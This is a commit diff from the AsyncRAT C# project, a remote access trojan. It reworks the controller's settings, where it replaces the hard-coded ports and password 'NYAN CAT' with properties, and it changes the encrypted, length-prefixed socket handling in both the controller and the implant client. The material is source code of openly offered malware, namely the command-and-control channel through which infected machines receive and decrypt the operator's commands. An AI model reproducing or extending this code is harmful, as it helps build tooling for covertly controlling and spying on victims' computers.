Sapphire/AsyncRAT-C-Sharp
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Small update

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This commit is contained in:
NYAN CAT 2019-04-21 05:41:29 -07:00
parent 747d31611e
commit 098918cd3f
4 changed files with 33 additions and 42 deletions
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AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe
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11
AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs
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@ -8,11 +8,12 @@ namespace AsyncRAT_Sharp
{ {
public static List<Clients> Online = new List<Clients>(); public static List<Clients> Online = new List<Clients>();
public static List<string> Blocked = new List<string>(); public static List<string> Blocked = new List<string>();
public static string Port = "6606,7707,8808"; public static string Port { get; set; }
public static long Sent { get; set; }
public static long Received { get; set; }
public static string Password { get; set; }
public static Aes256 aes256{ get; set; }
public static readonly string Version = "AsyncRAT 0.4"; public static readonly string Version = "AsyncRAT 0.4";
public static long Sent = 0;
public static long Received = 0;
public static string Password = "NYAN CAT";
public static Aes256 aes256;
} }
} }

27
AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs
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@ -1,10 +1,8 @@
using System; using System;
using System.Text;
using System.IO; using System.IO;
using System.Net.Sockets; using System.Net.Sockets;
using System.Windows.Forms; using System.Windows.Forms;
using AsyncRAT_Sharp.Handle_Packet; using AsyncRAT_Sharp.Handle_Packet;
using System.Threading.Tasks;
using System.Security.Cryptography; using System.Security.Cryptography;
using System.Drawing; using System.Drawing;
using System.Diagnostics; using System.Diagnostics;
@ -15,15 +13,16 @@ namespace AsyncRAT_Sharp.Sockets
class Clients class Clients
{ {
public Socket ClientSocket { get; set; } public Socket ClientSocket { get; set; }
private byte[] ClientBuffer { get; set; }
private long ClientBuffersize { get; set; }
private bool ClientBufferRecevied { get; set; }
private MemoryStream ClientMS { get; set; }
public ListViewItem LV { get; set; } public ListViewItem LV { get; set; }
private object SendSync { get; set; }
private object EndSendSync { get; set; }
public string ID { get; set; } public string ID { get; set; }
public long BytesRecevied { get; set; }
private byte[] ClientBuffer;
private long ClientBuffersize;
private bool ClientBufferRecevied;
private MemoryStream ClientMS;
private object SendSync;
private object EndSendSync;
public long BytesRecevied;
public Clients(Socket socket) public Clients(Socket socket)
{ {
@ -35,7 +34,6 @@ namespace AsyncRAT_Sharp.Sockets
ClientSocket = socket; ClientSocket = socket;
ClientBuffer = new byte[4]; ClientBuffer = new byte[4];
ClientBuffersize = 0;
ClientBufferRecevied = false; ClientBufferRecevied = false;
ClientMS = new MemoryStream(); ClientMS = new MemoryStream();
LV = null; LV = null;
@ -62,8 +60,6 @@ namespace AsyncRAT_Sharp.Sockets
if (ClientBufferRecevied == false) if (ClientBufferRecevied == false)
{ {
await ClientMS.WriteAsync(ClientBuffer, 0, ClientBuffer.Length); await ClientMS.WriteAsync(ClientBuffer, 0, ClientBuffer.Length);
if (ClientMS.Length == 4)
{
ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0); ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0);
ClientMS.Dispose(); ClientMS.Dispose();
ClientMS = new MemoryStream(); ClientMS = new MemoryStream();
@ -73,12 +69,6 @@ namespace AsyncRAT_Sharp.Sockets
Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///"); Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///");
ClientBufferRecevied = true; ClientBufferRecevied = true;
} }
}
else
{
Disconnected();
return;
}
} }
else else
{ {
@ -99,7 +89,6 @@ namespace AsyncRAT_Sharp.Sockets
return; return;
} }
ClientBuffer = new byte[4]; ClientBuffer = new byte[4];
ClientBuffersize = 0;
ClientMS.Dispose(); ClientMS.Dispose();
ClientMS = new MemoryStream(); ClientMS = new MemoryStream();
ClientBufferRecevied = false; ClientBufferRecevied = false;

37
AsyncRAT-C#/Client/Sockets/ClientSocket.cs
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@ -10,7 +10,6 @@ using Client.Helper;
namespace Client.Sockets namespace Client.Sockets
{ {
class ClientSocket class ClientSocket
{ {
@ -40,7 +39,6 @@ namespace Client.Sockets
Debug.WriteLine("Connected!"); Debug.WriteLine("Connected!");
Connected = true; Connected = true;
Buffer = new byte[4]; Buffer = new byte[4];
Buffersize = 0;
BufferRecevied = false; BufferRecevied = false;
MS = new MemoryStream(); MS = new MemoryStream();
SendSync = new object(); SendSync = new object();
@ -101,22 +99,14 @@ namespace Client.Sockets
if (BufferRecevied == false) if (BufferRecevied == false)
{ {
MS.Write(Buffer, 0, Recevied); MS.Write(Buffer, 0, Recevied);
if (MS.Length == 4) Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///");
MS.Dispose();
MS = new MemoryStream();
if (Buffersize > 0)
{ {
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); Buffer = new byte[Buffersize];
Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///"); BufferRecevied = true;
MS.Dispose();
MS = new MemoryStream();
if (Buffersize > 0)
{
Buffer = new byte[Buffersize];
BufferRecevied = true;
}
}
else
{
Connected = false;
return;
} }
} }
else else
@ -126,7 +116,6 @@ namespace Client.Sockets
{ {
ThreadPool.QueueUserWorkItem(HandlePacket.Read, Settings.aes256.Decrypt(MS.ToArray())); ThreadPool.QueueUserWorkItem(HandlePacket.Read, Settings.aes256.Decrypt(MS.ToArray()));
Buffer = new byte[4]; Buffer = new byte[4];
Buffersize = 0;
MS.Dispose(); MS.Dispose();
MS = new MemoryStream(); MS = new MemoryStream();
BufferRecevied = false; BufferRecevied = false;
@ -155,6 +144,12 @@ namespace Client.Sockets
{ {
try try
{ {
if (!Client.Connected)
{
Connected = false;
return;
}
byte[] buffer = Settings.aes256.Encrypt(Msg); byte[] buffer = Settings.aes256.Encrypt(Msg);
byte[] buffersize = BitConverter.GetBytes(buffer.Length); byte[] buffersize = BitConverter.GetBytes(buffer.Length);
@ -176,6 +171,12 @@ namespace Client.Sockets
{ {
try try
{ {
if (!Client.Connected)
{
Connected = false;
return;
}
int sent = 0; int sent = 0;
sent = Client.EndSend(ar); sent = Client.EndSend(ar);
Debug.WriteLine("/// Client Sent " + sent.ToString() + " Bytes ///"); Debug.WriteLine("/// Client Sent " + sent.ToString() + " Bytes ///");